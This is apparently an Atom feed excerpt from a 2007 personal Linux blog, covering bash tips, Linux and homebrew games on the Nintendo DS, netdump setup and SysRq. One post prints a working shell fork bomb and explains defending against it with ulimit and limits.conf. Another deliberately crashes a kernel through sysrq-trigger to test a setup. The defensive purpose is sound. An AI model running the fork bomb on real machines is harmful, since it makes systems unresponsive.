   BOLD=&quot;&amp;#92;[&amp;#92;033[1m&amp;#92;]&quot;&lt;br&gt;
   OFF=&quot;&amp;#92;[&amp;#92;033[m&amp;#92;]&quot;&lt;br&gt;
   PS1=&quot;&amp;#36;{BOLD}&amp;#92;u@&amp;#92;h:&amp;#92;w &amp;#92;&amp;#36;&amp;#36;{OFF} &quot;&lt;br&gt;
   PS2=&quot;&amp;#36;{BOLD}&amp;gt;&amp;#36;{OFF} &quot;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;Just add it to your ~/.bashrc, and it will look like this:
&lt;p&gt;
&lt;pre&gt;
 &lt;strong&gt;lars@titan:~&amp;#36;&lt;/strong&gt;
&lt;/pre&gt;

&lt;p&gt;You can pimp your prompt with colors and all kinds off information. Read the &lt;a href=&quot;http://tldp.org/HOWTO/Bash-Prompt-HOWTO&quot;&gt;Bash Prompt HOWTO&lt;/a&gt; for more.</content>
</entry>
<entry>
<title type="html">Old classical PC games on Nintendo DS</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=OldPCGamesOnNDS"/>
<id>tag:blog.larsstrand.org,2007-08-01:/article.php?story=OldPCGamesOnNDS</id>
<published>2007-08-01T20:26:00+02:00</published>
<updated>2007-08-01T20:26:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">The &lt;a href=&quot;http://www.nintendo.com/systemsds&quot;&gt;Nintendo DS&lt;/a&gt; (NDS) is more than powerful enough to play several old PC games. Some porting is required, and luckily a lot of people have already done that. Usually, you just need the game files (which means you must either own the originally game, use the shareware version or, check if it's &lt;a href=&quot;http://www.the-underdogs.info&quot;&gt;abandonware&lt;/a&gt;). It's time for a trip down memory lane trying out some old classics.
&lt;p&gt;
To be able to run, you must first have some kind of &quot;memory card&quot;. I have, and can personally vouch for, &lt;a href=&quot;http://www.ds-x.com&quot;&gt;DSX&lt;/a&gt;. You can read all about my experience with it &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=DSX&quot;&gt;here&lt;/a&gt;. 
&lt;p&gt;
&lt;strong&gt;1. Lemmings&lt;/strong&gt; - First off is &lt;a href=&quot;http://en.wikipedia.org/wiki/Lemmings_(video_game)&quot;&gt;Lemmings&lt;/a&gt;! This (open source) version of Lemmings for NDS is a complete rewrite of Lemmings with close to 300 of the original levels. &lt;a href=&quot;http://www.mrdictionary.net/lemmings/installation/&quot;&gt;Installation&lt;/a&gt; was easy - and no &lt;a href=&quot;http://chishm.drunkencoders.com/DLDI/&quot;&gt;dldi&lt;/a&gt; patching was necessary for DSX. Download &lt;a href=&quot;http://www.mrdictionary.net/lemmings/lemproject-downloads/&quot;&gt;here&lt;/a&gt;.
&lt;p&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;135&quot; src=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
&lt;strong&gt;2. Doom&lt;/strong&gt; - This version of &lt;a href=&quot;http://en.wikipedia.org/wiki/Doom&quot;&gt;Doom&lt;/a&gt;, called &quot;DS Doom&quot;, even have multiplayer support using wireless. This version does not need dldi patching for DSX. But you do need Dooms WAD-files (shareware is fine). Homepage &lt;a href=&quot;http://dsdoom.devkitpro.org/&quot;&gt;here&lt;/a&gt;.
&lt;p&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_2_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;129&quot; src=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_2.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
&lt;strong&gt;3. Day of the Tentacle&lt;/strong&gt; - Yes! The great adventure games from Lucasarts can be played on the NDS using a port of &lt;a href=&quot;http://www.scummvm.org/&quot;&gt;Scummvm&lt;/a&gt;. Scummvm is just a new engine, so you still need the data files. A whole range of adventure games can be played (Monkey Island 1 &amp;amp; 2, Sam &amp;amp; Max hit the road, Simon the Sorcerer 1 &amp;amp; 2, ..). Download the NDS port of Scummvm &lt;a href=&quot;http://scummvm.drunkencoders.com/&quot;&gt;here&lt;/a&gt;.
&lt;p&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;157&quot; src=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
&lt;strong&gt;4. Hexen&lt;/strong&gt; - Another old classic FPS game, based on the Doom engine. Fetch it &lt;a href=&quot;http://gtamp.com/DS/dualhexen.php&quot;&gt;here&lt;/a&gt;.
&lt;p&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_4_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;136&quot; src=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_4.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
&lt;strong&gt;5. Quake&lt;/strong&gt; - Yes, running &lt;a href=&quot;http://en.wikipedia.org/wiki/Quake&quot;&gt;Quake&lt;/a&gt; at full speed. Quite a nice port considered the NDS's 4MB of memory. You'll need the shareware version of the game file (PAK0.PAK) and/or the full game (PAK1.PAK).
&lt;p&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_5_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;156&quot; src=&quot;http://blog.larsstrand.org/images/articles/OldPCGamesOnNDS_5.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
Other games I would like to see ported to NDS, are from the Ultima series. Specifically Ultima 7 and 8 and Ultima Underworld 1 &amp;amp; 2. Great, &lt;i&gt;great&lt;/i&gt; games! And since I've mention Lucasarts games, playing &lt;a href=&quot;http://www.gamespot.com/pc/sim/xwingcollectorsseries/index.html&quot;&gt;X-Wing&lt;/a&gt; and Tie-Fighter would also have been fun - which the NDS should be more than capable of. When it comes to Ultima 7, the &lt;a href=&quot;http://exult.sourceforge.net/&quot;&gt;Exult&lt;/a&gt; project have &lt;a href=&quot;http://exult.sourceforge.net/forum/read.php?f=1&amp;amp;i=28683&amp;amp;t=28683&quot;&gt;made a comment&lt;/a&gt; on porting to the NDS. - Oh, and not to forget Dungeon Keeper, Diablo, ...
&lt;p&gt;
Now, if only I had some more time to play games!</content>
</entry>
<entry>
<title type="html">Linux on Nintendo DS</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=DSLinux"/>
<id>tag:blog.larsstrand.org,2007-07-27:/article.php?story=DSLinux</id>
<published>2007-07-27T16:14:00+02:00</published>
<updated>2007-07-27T16:14:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">After getting my own DSX memory card for running homebrews (read earlier blog entry &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=DSX&quot;&gt;here&lt;/a&gt;), it's time to fire up Linux. Getting Linux to run on the NDS was no problem at all, but it's still quite limited. At least when using the memory card DSX.&lt;p&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/DSLinux_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;155&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/DSLinux_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
The Linux distribution for NDS is called &lt;a href=&quot;http://www.dslinux.org/&quot;&gt;DSLinux&lt;/a&gt; and is under active development. To run it, use the following procedure:

&lt;ol&gt;
&lt;li&gt;Connect the DSX to the USB.
&lt;li&gt;Download &lt;a href=&quot;http://kineox.free.fr/DS/dslinux.nds&quot;&gt;http://kineox.free.fr/DS/dslinux.nds&lt;/a&gt; and put it in the &quot;apps/&quot; folder. This version has wireless support.
&lt;li&gt;Since the DSX own application launcher are unable to launch DSLinux for some reason, another launcher has to load Linux. The launcher DSChannel can do the work. Unpack &lt;a href=&quot;http://gtamp.com/DS/dschannels_beta5b_DS-X.7z&quot;&gt;http://gtamp.com/DS/dschannels_beta5b_DS-X.7z&lt;/a&gt; to the root of your DSX.
&lt;li&gt;From DSX, start DSChannel. From DSChannel start DSLinux. If you try to launch DSLinux from DSX own application launcher, you'll just be presented with to white screens.
&lt;li&gt;When starting DSLinux, the top-screen (console) is garbled. Just tap &quot;Enter&quot; to redraw the screen.
&lt;li&gt;Login with user name: root and password: uClinux.
&lt;/ol&gt;
&lt;img width=&quot;800&quot; height=&quot;728&quot; src=&quot;http://blog.larsstrand.org/images/articles/DSLinux_2_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;
From here, get the wireless interface up and running:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;iwconfig nds channel 2 essid gatekeeper key off&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;ifconfig nds 192.168.1.42 up&lt;/strong&gt;&lt;br&gt;
# &lt;strong&gt;route add default gw 192.168.1.1&lt;/strong&gt;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
Read more here: &lt;a href=&quot;http://www.dslinux.org/wiki/Using_DSLinux&quot;&gt;http://www.dslinux.org/wiki/Using_DSLinux&lt;/a&gt;
&lt;p&gt;
Oh, and the wireless is just legacy 802.11 (no 802.11b or 820.11g), so it's limited to 2Mbit/s data rate. And only WEP is supported, no &lt;a href=&quot;http://tldp.org/HOWTO/html_single/8021X-HOWTO/#what80211i&quot;&gt;802.11i&lt;/a&gt; (WPA/WPA2).
&lt;p&gt;
Unfortunate, the DSX (file system) is not supported by DSLinux, so it's really limited what can be done. The file system is read-only so the rest of DSLinux is inaccessible. Only the most elementary programs are available like &quot;busybox, &quot;cat&quot;, &quot;ls&quot; and so on. Both &quot;telnetd&quot; and &quot;dropbear&quot; (ssh) refuses to start. I suspect that's because the read-only file system. And since no &quot;netcat&quot; or &quot;socat&quot; is present, it limits the remote accessibility further. Fortunate, support for DSX is on the &lt;a href=&quot;http://www.dslinux.org/wiki/TODO&quot;&gt;TODO list&lt;/a&gt;.

&lt;p&gt;
So I'll guess I just have to wait until it's supported before I can play more with DSLinux.
&lt;p&gt;
Useful links:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.ds-xtra.com/DSLinux&quot;&gt;http://www.ds-xtra.com/DSLinux&lt;/a&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dslinux.org/wiki/Using_DSLinux&quot;&gt;http://www.dslinux.org/wiki/Using_DSLinux&lt;/a&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dslinux.org/wiki/DSLinux_FAQ&quot;&gt;http://www.dslinux.org/wiki/DSLinux_FAQ&lt;/a&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dslinux.org/wiki/TODO&quot;&gt;http://www.dslinux.org/wiki/TODO&lt;/a&gt;
&lt;/ul&gt;</content>
</entry>
<entry>
<title type="html">Memory card &amp;quot;DS-Xtreme&amp;quot; (DSX) for the Nintendo DS (NDS)</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=DSX"/>
<id>tag:blog.larsstrand.org,2007-07-27:/article.php?story=DSX</id>
<published>2007-07-27T14:21:00+02:00</published>
<updated>2007-07-27T14:21:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">As of June 2007, 47 million &lt;a href=&quot;http://en.wikipedia.org/wiki/Nintendo_DS&quot;&gt;Nintendo DS&lt;/a&gt; units has been sold. That's quite an impressive number, and has been the &lt;a href=&quot;http://videogames.yahoo.com/printview_article?eid=501583&quot;&gt;fastest selling platform in Europe&lt;/a&gt;. As soon as I got my hands on one of these units, I started looking for ways to use &lt;a href=&quot;http://en.wikipedia.org/wiki/Nintendo_DS_homebrew&quot;&gt;&quot;homebrews&quot;&lt;/a&gt; (= software written for the NDS usually published for free).&lt;p&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/DSX_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;119&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/DSX_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
There are a lot of great homebrews for the NDS, but a &quot;memory card&quot; (solid state ROM) is required to use homebrews. You must have a way of putting the homebrew onto the NDS. A lot of different memory cards exists. After poking around, I found that &lt;a href=&quot;http://www.ds-x.com/&quot;&gt;DS Xtreme&lt;/a&gt; card (DSX) looked to be a good choice.&lt;p&gt;

Several reasons why I preferred DSX:&lt;p&gt;
&lt;ul&gt;
&lt;li&gt; Comes in sizes up to 2GB.
&lt;li&gt; The pysical size is no larger than ordinary game cards.
&lt;li&gt; No need to patch/modify the NDS, the DSX works as an ordinary &quot;game card&quot;.
&lt;li&gt; USB interface directly onto the card which works flawlessly.
&lt;li&gt; Support (which I found out where excellent) and forums.
&lt;li&gt; A large and active community.
&lt;/ul&gt;

Okay, so how do I get hold of one of these cards? I found a Norwegian shop &lt;a href=&quot;http://www.modnet.no&quot;&gt;modnet.no&lt;/a&gt; which had the 2 GB in &lt;a href=&quot;http://www.modnet.no/product_info.php?cPath=123_125&amp;amp;products_id=2468&quot;&gt;in stock&lt;/a&gt;.&lt;p&gt;

The device arrived the next day. Great! Inside it was only a USB-cable and the DSX itself. I had read that the 2GB devices need a mandatory update, due to some firmware bugs. The firmware update was a breeze, but unfortunate a Windows only procedure. &lt;p&gt;
&lt;img width=&quot;800&quot; height=&quot;658&quot; src=&quot;http://blog.larsstrand.org/images/articles/DSX_2_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;
When connected it's deteced as any ordinary USB-stick:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
&amp;#36; &lt;strong&gt;dmesg&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
[17185651.468000] usbcore: registered new driver usb-storage&lt;br&gt;
[17185651.468000] USB Mass Storage support registered.&lt;br&gt;
[17185651.468000] usb-storage: device found at 7&lt;br&gt;
[17185651.468000] usb-storage: waiting for device to settle before scanning&lt;br&gt;
[17185656.468000] usb-storage: device scan complete&lt;br&gt;
[17185656.468000]   Vendor: DS-Xtrem  Model: e      isk        Rev:     &lt;br&gt;
[17185656.468000]   Type:   Direct-Access                      ANSI SCSI revision: 00&lt;br&gt;
[17185656.472000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)&lt;br&gt;
[17185656.472000] sdb: Write Protect is off&lt;br&gt;
[17185656.472000] sdb: Mode Sense: 33 00 00 00&lt;br&gt;
[17185656.472000] sdb: assuming drive cache: write through&lt;br&gt;
[17185656.476000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)&lt;br&gt;
[17185656.476000] sdb: Write Protect is off&lt;br&gt;
[17185656.476000] sdb: Mode Sense: 33 00 00 00&lt;br&gt;
[17185656.476000] sdb: assuming drive cache: write through&lt;br&gt;
[17185656.476000]  sdb: unknown partition table&lt;br&gt;
[17185656.476000] sd 2:0:0:0: Attached scsi removable disk sdb&lt;br&gt;
[17185656.476000] sd 2:0:0:0: Attached scsi generic sg1 type 0&lt;br&gt;
[17185657.096000] FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!&lt;br&gt;
&lt;br&gt;
&amp;#36; &lt;strong&gt;df -h&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
/dev/sdb              2.0G  1.4G  639M  68% /media/DSX&lt;br&gt;
&lt;/pre&gt;
&lt;a href=&quot;http://blog.larsstrand.org/images/articles/DSX_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;160&quot; height=&quot;153&quot; class=&quot;floatright&quot; src=&quot;http://blog.larsstrand.org/images/articles/DSX_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;p&gt;
After fiddling around with the DSX I needed to reset the DSX. I peeled off the label on the DSX and in the tiny hole there was two individual contacts. By connecting these two, the DSX was reset. Se picture to the right. After that I just needed to run the firmware upgrade utility and I was back on track.&lt;p&gt;
&lt;p&gt;
So now it's time to find some good homebrews! A nice place to start:&lt;p&gt;
&lt;p&gt;
 &lt;a href=&quot;http://www.ds-xtra.com/DS_Homebrew_Directory&quot;&gt;http://www.ds-xtra.com/DS_Homebrew_Directory&lt;/a&gt;</content>
</entry>
<entry>
<title type="html">Less typing with enviroment variable CDPATH</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=CDPATH"/>
<id>tag:blog.larsstrand.org,2007-07-25:/article.php?story=CDPATH</id>
<published>2007-07-25T20:11:00+02:00</published>
<updated>2007-07-25T20:11:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">The BASH shell has several &lt;a href=&quot;http://www.gnu.org/software/bash/manual/bashref.html#SEC61&quot;&gt;environment variables&lt;/a&gt; that can be manipulated. The PATH variable is well known. Another useful variable is CDPATH. As PATH is a list of search paths for commands, so is CDPATH a list of directories used as search path for the &quot;&lt;strong&gt;cd&lt;/strong&gt;&quot; command.&lt;p&gt;
&lt;strong&gt;Example:&lt;/strong&gt; At one ftp server we serve a lot of software, including several of the most popular Linux distributions. The local path to these distributions involves a lot of typing:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  larsks@spheniscus:~&amp;#36; &lt;strong&gt;cd /usit/spheniscus/ftp/linux/&lt;/strong&gt;&lt;br&gt;
  larsks@spheniscus:/usit/spheniscus/ftp/linux&amp;#36; &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
From here, I can jump into &quot;slackware/&quot;, &quot;centos/&quot;, &quot;debian/&quot; and so on. But it's simpler when using CDPATH:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  larsks@spheniscus:~&amp;#36; &lt;strong&gt;export CDPATH=&quot;/usit/spheniscus/ftp/linux&quot;&lt;/strong&gt;&lt;br&gt;
  larsks@spheniscus:~&amp;#36; &lt;strong&gt;cd slackware&lt;/strong&gt;&lt;br&gt; 
  /usit/spheniscus/ftp/linux/slackware&lt;br&gt;
  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware&amp;#36; &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
Nice huh? &lt;p&gt;

An even lazier method (involving less typing) is to use alias: 
&lt;p&gt;
&lt;pre&gt;
  larsks@spheniscus:~&amp;#36; &lt;strong&gt;alias s=&quot;cd /usit/spheniscus/ftp/linux/slackware&quot;&lt;/strong&gt;&lt;br&gt;
  larsks@spheniscus:~&amp;#36; &lt;strong&gt;s&lt;/strong&gt;&lt;br&gt;
  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware&amp;#36; &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
But then I have to create one alias for each directory. Oh the choices!</content>
</entry>
<entry>
<title type="html">Fork bomb, or how to take down a Linux server in matter of seconds</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=forkbomb"/>
<id>tag:blog.larsstrand.org,2007-07-24:/article.php?story=forkbomb</id>
<published>2007-07-24T15:28:00+02:00</published>
<updated>2007-07-24T15:28:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">A particular nasty local denial of service attack is a &lt;a href=&quot;http://www.catb.org/jargon/html/F/fork-bomb.html&quot;&gt;fork bomb&lt;/a&gt;. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted. Fortunately, protection against fork bombs are easy - but rarely used at all.&lt;p&gt;
Fork bomb? Doesn't sound familiar? To understand fork bomb, you must understand &quot;fork()&quot;. Fork is a system call, which creates an exact copy of the running process. The new process is called &quot;child&quot;, and the invoking process &quot;parent&quot;. If you've taken any sort of programming class I'm sure you know all about forking. If not, you can read about it in &quot;&lt;strong&gt;man 2 fork&lt;/strong&gt;&quot; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Fork_(operating_system)&quot;&gt;Wikipedias entry on fork&lt;/a&gt;.
&lt;p&gt;
To create a fork bomb, you usually make some kind of misbehaving piece of software that spawns new child processes endlessly. This can be written in any language, but a one-liner bourne shell script is perhaps the most simple one:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  #/bin/sh&lt;br&gt;
  &amp;#36;0 &amp;amp;&lt;br&gt;
  &amp;#36;0&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
Save this as &quot;&lt;strong&gt;forkbomb.sh&lt;/strong&gt;&quot;, execute it and see what happens. I'll bet within seconds the system is unresponsive. Here &quot;&amp;#36;0&quot; is the name of the script (forkbomb.sh) and the &quot;&amp;amp;&quot; puts the new invocation in the background. Last the script is executed a second time and this time it's in the foreground waiting for the new invocation of itself to complete (which it never does..) thus effectively holding on to resources..
&lt;p&gt;
You can restrict the number of processes by the built-in bash command &quot;ulimit&quot;. Option &quot;-u&quot; shows/controls number of processes you're allowed to run:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;ulimit -u&lt;/strong&gt;&lt;br&gt;
  unlimited&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;Unlimited number of processes? Thats nice. Restrict it by:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;ulimit -u 20&lt;/strong&gt;&lt;br&gt;
  &amp;#36; &lt;strong&gt;ulimit -u&lt;/strong&gt;&lt;br&gt;
  20&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
Here &quot;20&quot; is the maximum number of processes available to the shell and processes started by it. Try it, and you'll soon see the restriction come to play:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;ulimit -u 20&lt;/strong&gt;&lt;br&gt;
  &amp;#36; &lt;strong&gt;./forkbomb.sh&lt;/strong&gt;&lt;br&gt;
  ./forkbomb.sh: fork: Resource temporarily unavailable&lt;br&gt;
  ./forkbomb.sh: fork: Resource temporarily unavailable&lt;br&gt;
  ./forkbomb.sh: fork: Resource temporarily unavailable&lt;br&gt;
  ....&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
 &lt;img width=&quot;721&quot; height=&quot;401&quot; src=&quot;http://blog.larsstrand.org/images/articles/forkbomb_1_original.png&quot; alt=&quot;&quot;&gt;
&lt;p&gt;Good. Unfortunate, we do not trust our users. So we need this setting permanent. This an be done in /etc/security/limits.conf:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  # &lt;strong&gt;cat /etc/security/limits.conf&lt;/strong&gt;&lt;br&gt;
  ....&lt;br&gt;
  lars    hard    nproc 20&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
Logout and back in, to see the restriction in effect.&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;ulimit -u&lt;/strong&gt;&lt;br&gt;
  20&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;And I can of course not increase the limits beyond the level set in limits.conf:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;ulimit -u 100&lt;/strong&gt;&lt;br&gt;
  -bash: ulimit: max user processes: cannot modify limit: Operation not permitted&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;p&gt;But do beware - the root account (or any account with UID 0) is not bound by limits.conf.</content>
</entry>
<entry>
<title type="html">Netdump</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=netdump"/>
<id>tag:blog.larsstrand.org,2007-06-24:/article.php?story=netdump</id>
<published>2007-06-24T10:50:00+02:00</published>
<updated>2007-06-24T10:50:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">RHEL provides a crash dump facility called &lt;a href=&quot;http://www.redhat.com/support/wpapers/redhat/netdump/index.html&quot;&gt;netdump&lt;/a&gt; (&lt;strong&gt;net&lt;/strong&gt;work crash&lt;strong&gt;dump&lt;/strong&gt; = netdump). Traditionally UNIX writes the kernel dump to the swap partition. A classical crash dump facility first need to recover the dump before it's reused as swap. Other crash dump facilities enables kernel dumps to be written to disk. &lt;a href=&quot;http://sourceforge.net/projects/lkdump&quot;&gt;Diskdump&lt;/a&gt; is such a facility. However, great care must be taken as to not overwrite important data on the file system. Netdump solves that by writing the kernel dump to the network destined to a netdump server.&lt;p&gt;
You might argue that the kernel never crashes. Unfortunate that is not true. Kernel crashes might be caused by software and hardware bugs (Oops, BUG(), panic). The kernel then responds by dumping as much information as it can (processor state, stack trace and so on) to the console. This might be enough for an experienced kernel hacker to find out what went wrong, but some crashed requires an analyze of the memory dump of the kernel.&lt;p&gt;
&lt;p&gt;
Netdump server:&lt;br&gt;
1. Install the netdump-server package.&lt;br&gt;
2. Set password for the netdump user:&lt;br&gt;
&lt;p&gt;
&lt;pre&gt;
  # &lt;strong&gt;passwd netdump&lt;/strong&gt;&lt;br&gt;
  Changing password for user netdump.&lt;br&gt;
  New UNIX password: &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
3. Netdump writes to /var/crash, and kernel dumps can take anywhere from 500MiB up to several GiB depending on amount of memory used on the client.&lt;br&gt;
4. Start the netdump-server:&lt;br&gt;
&lt;p&gt;
&lt;pre&gt;
# &lt;strong&gt;service netdump-server start&lt;/strong&gt;&lt;br&gt;
Starting netdump server:                                   [  OK  ]&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
Netdump client:&lt;br&gt;
1. Install the netdump package.&lt;br&gt;
2. Edit /etc/sysconfig/netdump and add netdump server:&lt;br&gt;
&lt;p&gt;
&lt;pre&gt;
   ...&lt;br&gt;
   NETDUMPADDR=192.168.1.104&lt;br&gt;
   ...&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
3. Propagate the shared secret to the server. This just copies the ssh public key to the crashdump server:&lt;br&gt;
&lt;p&gt;
&lt;pre&gt;
  # &lt;strong&gt;service netdump propagate&lt;/strong&gt;&lt;br&gt;
  netdump@192.168.1.104's password:&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
The above command just do:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  cat /etc/sysconfig/netdump_id_dsa.pub | &amp;#92;&lt;br&gt;
  ssh -x netdump@&amp;#36;NETDUMPADDR cat '&amp;gt;&amp;gt;' /var/crash/.ssh/authorized_keys2&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
4. Restart netdump:&lt;br&gt;
&lt;p&gt;
&lt;pre&gt;
 # &lt;strong&gt;service netdump restart&lt;/strong&gt;&lt;br&gt;
initializing netdump                                       [  OK  ]&lt;br&gt;
initializing netconsole                                    [  OK  ]&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

At the netdump server, a client directory is created for dump files:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
 /var/crash/192.168.1.103-2007-06-24-09:44
&lt;/pre&gt;
&lt;p&gt;
Time for some testing! Lets crash the client!

We crash the client by using sysrq. Read more about sysrq &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=sysrq&quot;&gt;here&lt;/a&gt;.&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
 # &lt;strong&gt;sysctl -w kernel/sysrq=1&lt;/strong&gt;&lt;br&gt;
 kernel.sysrq = 1&lt;br&gt;
 # &lt;strong&gt;echo &quot;c&quot; &amp;gt; /proc/sysrq-trigger&lt;/strong&gt;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
The kernel now crashes, but right before it reboots, it dumps to the netdump server (UDP port 6666). At the end of the dump, a SysRq-t is performed. SysRq-t dumps a list of current tasks and their information.&lt;p&gt;

&lt;i&gt;Note! While the dumping is in progress, interrupts are disabled. One consequence of this is that the keyboard is unresponsive.&lt;/i&gt;&lt;p&gt;
&lt;img width=&quot;720&quot; height=&quot;399&quot; src=&quot;http://blog.larsstrand.org/images/articles/netdump_1_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;
&lt;img width=&quot;720&quot; height=&quot;399&quot; src=&quot;http://blog.larsstrand.org/images/articles/netdump_2_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;
At the server, two files are generated:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  # &lt;strong&gt;ls -lh /var/crash/192.168.1.103-2007-06-24-09&amp;#92;:44/&lt;/strong&gt;&lt;br&gt;
  -rw-------    1 netdump  netdump      1.3K Jun 24 09:44 log&lt;br&gt;
  -rw-------    1 netdump  netdump      510M Jun 24 09:44 vmcore&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
You can now analyze the dump (&quot;vmcore&quot;) using gdb, kdb or similar to figure out what went wrong. Enjoy!</content>
</entry>
<entry>
<title type="html">Magical SysRq</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=sysrq"/>
<id>tag:blog.larsstrand.org,2007-06-18:/article.php?story=sysrq</id>
<published>2007-06-18T20:10:00+02:00</published>
<updated>2007-06-18T20:10:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;a href=&quot;http://en.wikipedia.org/wiki/SysRq&quot;&gt;SysRq&lt;/a&gt; (System Request)&lt;/a&gt; is probably one of those keys on your keyboard that you rarely use. On Linux, you can use it to perform system functions if the system becomes unresponsive. You can sync disks, reboot or crash the kernel if that is what you want. 
